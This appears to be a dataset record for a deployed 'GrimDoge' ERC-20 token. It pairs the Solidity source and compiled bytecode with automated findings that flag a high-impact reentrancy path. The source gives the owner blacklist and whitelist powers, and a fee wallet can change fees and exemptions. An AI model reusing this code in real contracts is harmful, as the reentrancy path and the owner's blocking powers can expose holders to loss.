1d4d565b8990612899565b600e5490612899565b600e556013546040516001600160a01b039091169083156108fc029084906000818181858888f193505050501580156126c4573d6000803e3d6000fd5b506126cf8682612aa7565b5050505050505050565b600081836127285760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561256557818101518382015260200161254d565b50600083858161273457fe5b0495945050505050565b6001600160a01b0383166127835760405162461bcd60e51b8152600401808060200182810382526025815260200180612cbd6025913960400191505060405180910390fd5b6001600160a01b0382166127c85760405162461bcd60e51b8152600401808060200182810382526023815260200180612b5b6023913960400191505060405180910390fd5b6127d383838361250c565b61281081604051806060016040528060268152602001612ba0602691396001600160a01b0386166000908152602081905260409020549190612511565b6001600160a01b03808516600090815260208190526040808220939093559084168152205461283f9082611def565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b6000611da683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612511565b6040805160028082526060808301845292602083019080368337019050509050308160008151811061290957fe5b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561297657600080fd5b505afa15801561298a573d6000803e3d6000fd5b505050506040513d60208110156129a057600080fd5b50518151829060019081106129b157fe5b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663791ac9478360008430426040518663ffffffff1660e01b81526004018086815260200185815260200180602001846001600160a01b03168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b83811015612a6a578181015183820152602001612a52565b505050509050019650505050505050600060405180830381600087803b158015612a9357600080fd5b505af1158015612508573d6000803e3d6000fd5b6014546040805163f305d71960e01b81523060048201526024810185905260006044820181905260648201526001600160a01b0390921660848301524260a483015251737a250d5630b4cf539739df2c5dacb4c659f2488d9163f305d71991849160c48082019260609290919082900301818588803b158015612b2957600080fd5b505af1158015612b3d573d6000803e3d6000fd5b50505050506040513d6060811015612b5457600080fd5b5050505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636554784c696d69743a20416c72656164792073657420746f20746869732076616c7565546f74616c2073656c6c206665652063616e206e6f74206265206d6f7265207468616e203825536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725472616e736665722077696c6c206578636565642077616c6c6574206c696d6974546f74616c20627579206665652063616e206e6f74206265206d6f7265207468616e20342545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737357616c6c65744c696d69743a20416c72656164792073657420746f20746869732076616c7565a2646970667358221220752747d99f49b4b7f9bb6682ea995630a598151ecb7269b3a1cc7c3df5285f6764736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 6,580 |
0xce12f77cca2579ab3b613a8e73a33436a15af6fd
|
/**
*
*
*
* SPDX-License-Identifier: UNLICENSED
*
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract GRIMDOGE is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _bots;
mapping (address => bool) private _presaleAddress;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"GrimDoge";
string private constant _symbol = unicode"GD";
uint256 private minContractTokensToSwap = 1e9 * 10**9;
uint8 private constant _decimals = 9;
uint256 private _taxFee = 1;
uint256 private _teamFee = 9;
uint256 private _buyFee = 7;
uint256 private _sellFee = 9;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
uint256 private _launchTime;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen = false;
bool private _openSale = false;
bool private _noTaxMode = false;
bool private _swapAll = false;
bool private inSwap = false;
uint256 private walletLimitDuration;
struct User {
uint256 buyCD;
bool exists;
}
event MaxBuyAmountUpdated(uint _maxBuyAmount);
event CooldownEnabledUpdated(bool _cooldown);
event FeeMultiplierUpdated(uint _multiplier);
event FeeRateUpdated(uint _rate);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner()) {
require(!_bots[from] && !_bots[to]);
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(tradingOpen, "Trading not yet enabled.");
require( _openSale || _presaleAddress[to], "Not in whitelist.");
if(block.timestamp > _launchTime + (24 hours)) {
_teamFee = _buyFee;
} else {
_teamFee = 9;
}
if (walletLimitDuration > block.timestamp) {
uint walletBalance = balanceOf(address(to));
if (_presaleAddress[to]) {
require(amount.add(walletBalance) <= _tTotal.mul(1).div(100));
} else {
require(amount.add(walletBalance) <= _tTotal.mul(1).div(400));
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
if(!inSwap && from != uniswapV2Pair && tradingOpen) {
if(block.timestamp > _launchTime + (24 hours)) {
_teamFee = _sellFee;
} else {
_teamFee = 24;
}
if(contractTokenBalance > minContractTokensToSwap) {
if(!_swapAll) {
contractTokenBalance = minContractTokensToSwap;
}
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to] || _noTaxMode){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
tradingOpen = true;
walletLimitDuration = block.timestamp + (25 minutes);
_launchTime = block.timestamp;
}
function setMarketingWallet (address payable marketingWalletAddress) external {
require(_msgSender() == _FeeAddress);
_isExcludedFromFee[_marketingWalletAddress] = false;
_marketingWalletAddress = marketingWalletAddress;
_isExcludedFromFee[marketingWalletAddress] = true;
}
function excludeFromFee (address payable ad) external {
require(_msgSender() == _FeeAddress);
_isExcludedFromFee[ad] = true;
}
function includeToFee (address payable ad) external {
require(_msgSender() == _FeeAddress);
_isExcludedFromFee[ad] = false;
}
function setNoTaxMode(bool onoff) external {
require(_msgSender() == _FeeAddress);
_noTaxMode = onoff;
}
function setBuyFee(uint256 buy) external {
require(_msgSender() == _FeeAddress);
require(buy <= 7);
_buyFee = buy;
}
function setSellFee(uint256 sell) external {
require(_msgSender() == _FeeAddress);
require(sell <= 20);
_sellFee = sell;
}
function setTaxFee(uint256 tax) external {
require(_msgSender() == _FeeAddress);
require(tax <= 5);
_taxFee = tax;
}
function setMinContractTokensToSwap(uint256 numToken) external {
require(_msgSender() == _FeeAddress);
minContractTokensToSwap = numToken;
}
function setSwapAll(bool onoff) external {
require(_msgSender() == _FeeAddress);
_swapAll = onoff;
}
function setBots(address[] calldata bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
_bots[bots_[i]] = true;
}
}
}
function delBot(address notbot) public onlyOwner {
_bots[notbot] = false;
}
function isBot(address ad) public view returns (bool) {
return _bots[ad];
}
function setPresale(address[] calldata _ads) public onlyOwner {
for (uint i = 0; i < _ads.length; i++) {
_presaleAddress[_ads[i]] = true;
}
}
function delPresale(address ad) public onlyOwner {
_presaleAddress[ad] = false;
}
function isPresale(address ad) public view returns (bool) {
return _presaleAddress[ad];
}
function setOpenSale() public onlyOwner {
_openSale = true;
}
function isOpenTrade() public view returns (bool) {
return _openSale;
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
}
|
0x6080604052600436106101f25760003560e01c8063715018a61161010d578063b0c6030b116100a0578063c9567bf91161006f578063c9567bf9146106b8578063cf0848f7146106cf578063db92dbb6146106f8578063dd62ed3e14610723578063de30aad114610760576101f9565b8063b0c6030b14610626578063b515566a1461064f578063c3c8cd8014610678578063c4081a4c1461068f576101f9565b806395d89b41116100dc57806395d89b411461056a5780639bcadc14146105955780639e85c1a9146105d2578063a9059cbb146105e9576101f9565b8063715018a6146104d65780638283052d146104ed5780638b4cee08146105165780638da5cb5b1461053f576101f9565b8063313ce5671161018557806351f040251161015457806351f040251461042e5780635d098b38146104595780636fc3eaec1461048257806370a0823114610499576101f9565b8063313ce567146103745780633bbac5791461039f578063437823ec146103dc5780634b740b1614610405576101f9565b806318160ddd116101c157806318160ddd146102b857806323b872dd146102e3578063273123b71461032057806327f3a72a14610349576101f9565b806306fdde03146101fe578063095ea7b3146102295780630cc835a31461026657806312dfbd331461028f576101f9565b366101f957005b600080fd5b34801561020a57600080fd5b50610213610789565b6040516102209190613a26565b60405180910390f35b34801561023557600080fd5b50610250600480360381019061024b9190613529565b6107c6565b60405161025d9190613a0b565b60405180910390f35b34801561027257600080fd5b5061028d60048036038101906102889190613610565b6107e4565b005b34801561029b57600080fd5b506102b660048036038101906102b19190613610565b61085d565b005b3480156102c457600080fd5b506102cd6108c8565b6040516102da9190613bc8565b60405180910390f35b3480156102ef57600080fd5b5061030a600480360381019061030591906134d6565b6108d9565b6040516103179190613a0b565b60405180910390f35b34801561032c57600080fd5b506103476004803603810190610342919061340f565b6109b2565b005b34801561035557600080fd5b5061035e610aa2565b60405161036b9190613bc8565b60405180910390f35b34801561038057600080fd5b50610389610ab2565b6040516103969190613c3d565b60405180910390f35b3480156103ab57600080fd5b506103c660048036038101906103c1919061340f565b610abb565b6040516103d39190613a0b565b60405180910390f35b3480156103e857600080fd5b5061040360048036038101906103fe9190613469565b610b11565b005b34801561041157600080fd5b5061042c600480360381019061042791906135b6565b610bcd565b005b34801561043a57600080fd5b50610443610c4b565b6040516104509190613a0b565b60405180910390f35b34801561046557600080fd5b50610480600480360381019061047b9190613469565b610c60565b005b34801561048e57600080fd5b50610497610dd7565b005b3480156104a557600080fd5b506104c060048036038101906104bb919061340f565b610e49565b6040516104cd9190613bc8565b60405180910390f35b3480156104e257600080fd5b506104eb610e9a565b005b3480156104f957600080fd5b50610514600480360381019061050f919061340f565b610fed565b005b34801561052257600080fd5b5061053d60048036038101906105389190613610565b6110dd565b005b34801561054b57600080fd5b50610554611156565b604051610561919061393d565b60405180910390f35b34801561057657600080fd5b5061057f61117f565b60405161058c9190613a26565b60405180910390f35b3480156105a157600080fd5b506105bc60048036038101906105b7919061340f565b6111bc565b6040516105c99190613a0b565b60405180910390f35b3480156105de57600080fd5b506105e7611212565b005b3480156105f557600080fd5b50610610600480360381019061060b9190613529565b6112c3565b60405161061d9190613a0b565b60405180910390f35b34801561063257600080fd5b5061064d60048036038101906106489190613569565b6112e1565b005b34801561065b57600080fd5b5061067660048036038101906106719190613569565b61141b565b005b34801561068457600080fd5b5061068d611655565b005b34801561069b57600080fd5b506106b660048036038101906106b19190613610565b6116cf565b005b3480156106c457600080fd5b506106cd611748565b005b3480156106db57600080fd5b506106f660048036038101906106f19190613469565b611c7a565b005b34801561070457600080fd5b5061070d611d36565b60405161071a9190613bc8565b60405180910390f35b34801561072f57600080fd5b5061074a60048036038101906107459190613496565b611d68565b6040516107579190613bc8565b60405180910390f35b34801561076c57600080fd5b50610787600480360381019061078291906135b6565b611def565b005b60606040518060400160405280600881526020017f4772696d446f6765000000000000000000000000000000000000000000000000815250905090565b60006107da6107d3611e6d565b8484611e75565b6001905092915050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610825611e6d565b73ffffffffffffffffffffffffffffffffffffffff161461084557600080fd5b600781111561085357600080fd5b80600d8190555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661089e611e6d565b73ffffffffffffffffffffffffffffffffffffffff16146108be57600080fd5b80600a8190555050565b6000683635c9adc5dea00000905090565b60006108e6848484612040565b6109a7846108f2611e6d565b6109a2856040518060600160405280602881526020016142f060289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610958611e6d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127a79092919063ffffffff16565b611e75565b600190509392505050565b6109ba611e6d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3e90613ae8565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000610aad30610e49565b905090565b60006009905090565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b52611e6d565b73ffffffffffffffffffffffffffffffffffffffff1614610b7257600080fd5b6001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c0e611e6d565b73ffffffffffffffffffffffffffffffffffffffff1614610c2e57600080fd5b80601560166101000a81548160ff02191690831515021790555050565b600060158054906101000a900460ff16905090565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ca1611e6d565b73ffffffffffffffffffffffffffffffffffffffff1614610cc157600080fd5b600060056000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610e18611e6d565b73ffffffffffffffffffffffffffffffffffffffff1614610e3857600080fd5b6000479050610e468161280b565b50565b6000610e93600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612906565b9050919050565b610ea2611e6d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f2f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2690613ae8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610ff5611e6d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611082576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107990613ae8565b60405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661111e611e6d565b73ffffffffffffffffffffffffffffffffffffffff161461113e57600080fd5b601481111561114c57600080fd5b80600e8190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600281526020017f4744000000000000000000000000000000000000000000000000000000000000815250905090565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b61121a611e6d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129e90613ae8565b60405180910390fd5b60016015806101000a81548160ff021916908315150217905550565b60006112d76112d0611e6d565b8484612040565b6001905092915050565b6112e9611e6d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611376576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136d90613ae8565b60405180910390fd5b60005b828290508110156114165760016007600085858581811061139d5761139c613f15565b5b90506020020160208101906113b2919061340f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061140e90613e6e565b915050611379565b505050565b611423611e6d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114a790613ae8565b60405180910390fd5b60005b8282905081101561165057601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1683838381811061150a57611509613f15565b5b905060200201602081019061151f919061340f565b73ffffffffffffffffffffffffffffffffffffffff16141580156115b85750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1683838381811061158a57611589613f15565b5b905060200201602081019061159f919061340f565b73ffffffffffffffffffffffffffffffffffffffff1614155b1561163d576001600660008585858181106115d6576115d5613f15565b5b90506020020160208101906115eb919061340f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b808061164890613e6e565b9150506114b3565b505050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611696611e6d565b73ffffffffffffffffffffffffffffffffffffffff16146116b657600080fd5b60006116c130610e49565b90506116cc81612974565b50565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611710611e6d565b73ffffffffffffffffffffffffffffffffffffffff161461173057600080fd5b600581111561173e57600080fd5b80600b8190555050565b611750611e6d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146117dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117d490613ae8565b60405180910390fd5b601560149054906101000a900460ff161561182d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161182490613b88565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506118bd30601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611e75565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561190357600080fd5b505afa158015611917573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061193b919061343c565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561199d57600080fd5b505afa1580156119b1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119d5919061343c565b6040518363ffffffff1660e01b81526004016119f2929190613958565b602060405180830381600087803b158015611a0c57600080fd5b505af1158015611a20573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a44919061343c565b601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730611acd30610e49565b600080611ad8611156565b426040518863ffffffff1660e01b8152600401611afa969594939291906139aa565b6060604051808303818588803b158015611b1357600080fd5b505af1158015611b27573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611b4c919061363d565b505050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611bee929190613981565b60206040518083038160008780